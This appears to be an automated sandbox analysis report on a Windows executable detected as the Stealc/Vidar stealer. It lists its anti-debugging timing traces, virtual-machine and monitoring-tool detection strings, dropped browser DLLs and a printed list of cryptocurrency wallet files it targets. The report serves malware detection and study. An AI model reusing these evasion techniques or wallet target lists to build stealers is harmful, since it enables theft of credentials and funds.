Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20642 second address: 4F20671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a pushad 0x0000000b mov dx, 1C68h 0x0000000f mov eax, edx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007F2BD8E8A353h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20671 second address: 4F2068C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2068C second address: 4F2072D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A359h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b jmp 00007F2BD8E8A34Eh 0x00000010 push dword ptr [ebp+1Ch] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F2BD8E8A34Eh 0x0000001a xor ax, FEB8h 0x0000001f jmp 00007F2BD8E8A34Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F2BD8E8A358h 0x0000002b and cx, 3918h 0x00000030 jmp 00007F2BD8E8A34Bh 0x00000035 popfd 0x00000036 popad 0x00000037 push dword ptr [ebp+18h] 0x0000003a jmp 00007F2BD8E8A356h 0x0000003f push dword ptr [ebp+14h] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov dl, E9h 0x00000047 movzx esi, di 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2072D second address: 4F20733 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20733 second address: 4F20737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20737 second address: 4F2073B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2073B second address: 4F2075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F2BD8E8A351h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2075D second address: 4F20784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BD92E34CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20784 second address: 4F207C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, dl 0x00000011 pushfd 0x00000012 jmp 00007F2BD8E8A354h 0x00000017 sbb ecx, 304DACF8h 0x0000001d jmp 00007F2BD8E8A34Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009E5 second address: 4F009E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009E9 second address: 4F009ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009ED second address: 4F009F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009F3 second address: 4F009F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009F9 second address: 4F009FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F009FD second address: 4F00A21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a jmp 00007F2BD8E8A354h 0x0000000f inc edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00A21 second address: 4F00A21 instructions: 0x00000000 rdtsc 0x00000002 mov si, 4869h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F2BD92E34D6h 0x0000000e and eax, 7AA25338h 0x00000014 jmp 00007F2BD92E34CBh 0x00000019 popfd 0x0000001a popad 0x0000001b test al, al 0x0000001d pushad 0x0000001e mov si, E98Bh 0x00000022 mov esi, 6A3D9367h 0x00000027 popad 0x00000028 jne 00007F2BD92E3465h 0x0000002e mov al, byte ptr [edx] 0x00000030 jmp 00007F2BD92E34D4h 0x00000035 inc edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00A81 second address: 4F00AF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 call 00007F2BD8E8A353h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub edx, esi 0x00000010 jmp 00007F2BD8E8A354h 0x00000015 mov edi, dword ptr [ebp+08h] 0x00000018 jmp 00007F2BD8E8A350h 0x0000001d dec edi 0x0000001e jmp 00007F2BD8E8A350h 0x00000023 lea ebx, dword ptr [edi+01h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F2BD8E8A357h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00AF3 second address: 4F00B2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F2BD92E34D3h 0x00000014 mov ax, 40AFh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B2E second address: 4F00B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A350h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B42 second address: 4F00B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B46 second address: 4F00B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BD8E8A359h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B6C second address: 4F00B72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B72 second address: 4F00B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B8A second address: 4F00B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00B8E second address: 4F00BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A359h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00BAB second address: 4F00C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F2C491CB392h 0x0000000e jmp 00007F2BD92E34D5h 0x00000013 mov ecx, edx 0x00000015 jmp 00007F2BD92E34CEh 0x0000001a shr ecx, 02h 0x0000001d pushad 0x0000001e jmp 00007F2BD92E34CEh 0x00000023 mov ecx, 0E831E21h 0x00000028 popad 0x00000029 rep movsd 0x0000002b rep movsd 0x0000002d rep movsd 0x0000002f rep movsd 0x00000031 rep movsd 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F2BD92E34D6h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C12 second address: 4F00C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C16 second address: 4F00C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C1C second address: 4F00C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2BD8E8A34Dh 0x00000014 and si, 7506h 0x00000019 jmp 00007F2BD8E8A351h 0x0000001e popfd 0x0000001f mov di, ax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C5C second address: 4F00C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C76 second address: 4F00C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C7A second address: 4F00C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C7E second address: 4F00C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C84 second address: 4F00C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C8A second address: 4F00C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00C8E second address: 4F00CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsb 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BD92E34D2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00CAE second address: 4F00CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00CB2 second address: 4F00CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00CB8 second address: 4F00CFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007F2BD8E8A350h 0x00000015 mov eax, ebx 0x00000017 jmp 00007F2BD8E8A350h 0x0000001c mov ecx, dword ptr [ebp-10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00CFD second address: 4F00D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00D02 second address: 4F00DD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A356h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 jmp 00007F2BD8E8A350h 0x00000015 pop ecx 0x00000016 jmp 00007F2BD8E8A350h 0x0000001b pop edi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F2BD8E8A34Eh 0x00000023 add si, 82B8h 0x00000028 jmp 00007F2BD8E8A34Bh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F2BD8E8A358h 0x00000034 adc esi, 268DBD18h 0x0000003a jmp 00007F2BD8E8A34Bh 0x0000003f popfd 0x00000040 popad 0x00000041 pop esi 0x00000042 jmp 00007F2BD8E8A356h 0x00000047 pop ebx 0x00000048 pushad 0x00000049 jmp 00007F2BD8E8A34Eh 0x0000004e call 00007F2BD8E8A352h 0x00000053 pushad 0x00000054 popad 0x00000055 pop eax 0x00000056 popad 0x00000057 leave 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00DD6 second address: 4F00DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F6DB74 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F6DC57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 110ED78 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7508	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7492	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7504	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C64EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2051471983.00000000010F0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2050496784.0000000000794000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2050496784.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2051471983.00000000010F0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C71AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C764760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C764760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C641C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C641C30

Source: file.exe, file.exe, 00000000.00000002.2051471983.00000000010F0000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: IProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71AE71 cpuid

0_2_6C71AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C71A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C668390 NSS_GetVersion,

0_2_6C668390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2050877383.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1677872732.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2050877383.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
